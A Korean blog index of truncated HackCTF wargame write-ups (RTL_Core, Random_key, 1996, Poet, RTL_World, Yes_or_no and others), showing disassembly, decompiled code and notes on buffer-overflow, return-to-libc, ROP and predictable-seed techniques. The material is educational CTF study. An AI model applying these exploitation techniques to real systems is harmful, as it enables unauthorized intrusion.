RTL_Core
·
Wargame/HackCTF
Passcode 입력값이 hashcode와 같아야 한다. gdb-peda$ pd main Dump of assembler code for function main: 0x08048685 : lea ecx,[esp+0x4] 0x08048689 : and esp,0xfffffff0 ... => 0x080486ef : cmp edx,eax 0x080486f1 : jne 0x804870a 0x080486f3 : sub esp,0xc 0x080486f6 : push 0x8048840 0x080486fb : call 0x8048480 분기문에 해당하는 cmp가 존재하므로 브포를 걸고 eax값을 확인하자. eax 값은 0xc0d9b0a7이다. 분기문의 passcode 함수를 살펴보자. 4byte씩 끊어서 v2함수에 더..
Random_key
·
Wargame/HackCTF
간단한 코드이다. 프로그램에서 생성된 난수를 올바르게 입력하면 Flag를 얻을 수 있다. 난수를 생성할 때 srand(time(NULL)); 코드를 이용하는데, 이는 '지정한 기준 시각으로부터 얼마나 지났는가'를 기준으로 1초마다 다른 수를 생성한다. '같은 시각에 srand(time(NULL))코드를 돌리면 같은 난수 값이 나올 것이다'라는 가정으로 다른 임의 난수 생성 프로그램을 만들고 그 값을 이 프로그램에 집어넣었다. #include #include #include void main() { srand(time(NULL)); int now = rand(); printf("%d", now); } $ ./payload ; nc ctf.j0n9hyun.xyz 3014 1306667447==========..
1996
·
Wargame/HackCTF
ASLR이 없다. spawn_shell 함수를 이용하여 쉘을 따면 된다. main함수에서 buf 변수로 입력값을 받고 getenv함수를 실행시킨다. 여기서 buf를 몇 바이트를 받는 지를 안정해놨기에 BOF Trigger가 가능하다. gdb-peda$ p spawn_shell $1 = {} 0x400897 gdb-peda$ pd main Dump of assembler code for function main: 0x00000000004008cd : push rbp 0x00000000004008ce : mov rbp,rsp ... 0x0000000000400927 : mov rbx,rax 0x000000000040092a : lea rax,[rbp-0x410] 0x0000000000400931 : mov ..
Poet
·
Wargame/HackCTF
// Main Function int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { setvbuf(_bss_start, 0LL, 2, 0LL); puts(s); while ( 1 ) { get_poem(); get_author(); rate_poem(); if ( score == 1000000 ) break; puts(asc_400D78); } reward(); } // get_author __int64 get_author() { printf(&byte_400C38); return gets(&unk_6024A0); } 보호 기법 볼 필요도 없다. main함수에서 3개의 함수를 구동시키고 분기문으로 score = 1000..
g++
·
Wargame/HackCTF
int __cdecl main(int argc, const char **argv, const char **envp) { vuln(); return 0; } int vuln() { const char *v0; // eax char s; // [esp+1Ch] [ebp-3Ch] char v3; // [esp+3Ch] [ebp-1Ch] char v4; // [esp+40h] [ebp-18h] char v5; // [esp+47h] [ebp-11h] char v6; // [esp+48h] [ebp-10h] char v7; // [esp+4Fh] [ebp-9h] printf("Tell me something about yourself: "); fgets(&s, 32, edata); std::string::oper..
RTL_World
·
Wargame/HackCTF
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial 보호 기법은 위와 같다. NX bit만 걸려있어 쉘코드가 실행 안된다. 따라서 다른 방법을 찾아야 한다. gdb-peda$ info func All defined functions: Non-debugging symbols: 0x08048524 _init ... 0x080485b0 system@plt gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 2 results, display max 2 items: rtl_world : 0x8048eb1 ("/bi..
Yes_or_no
·
Wargame/HackCTF
위 문제를 푸는 방식은 ROP와 One Shot 2가지다. 각각 나눠서 설명하겠다. ROP를 이용한 Exploit 코드에 두 번째 분기문에 gets() 함수가 있다. 저 함수를 통해 BOF를 공격해보자. 일단 저 분기문 속으로 들어가기 위해 입력하기 위한 값부터 보자. main+237에서 입력값과 EAX를 비교한다. EAX 값을 확인하기 위해 브포를 걸고 실행시키면 위와 같다. 0x960000 = 9830400이므로 이를 값에 넣으면 첫째 분기문을 통과해 gets함수로 접근하게 된다. gets함수는 ebp - 0x12이므로 bof를 위해 dummy(0x12) + SFP(0x8)로 RET에 접근하면 된다. Partial RELRO 보호기법이 걸려 있으므로 base 주소를 찾아야 한다. puts_offset..
bof_pie
·
Wargame/HackCTF
보호되어 있는 글입니다.
Offset
·
Wargame/HackCTF
보호되어 있는 글입니다.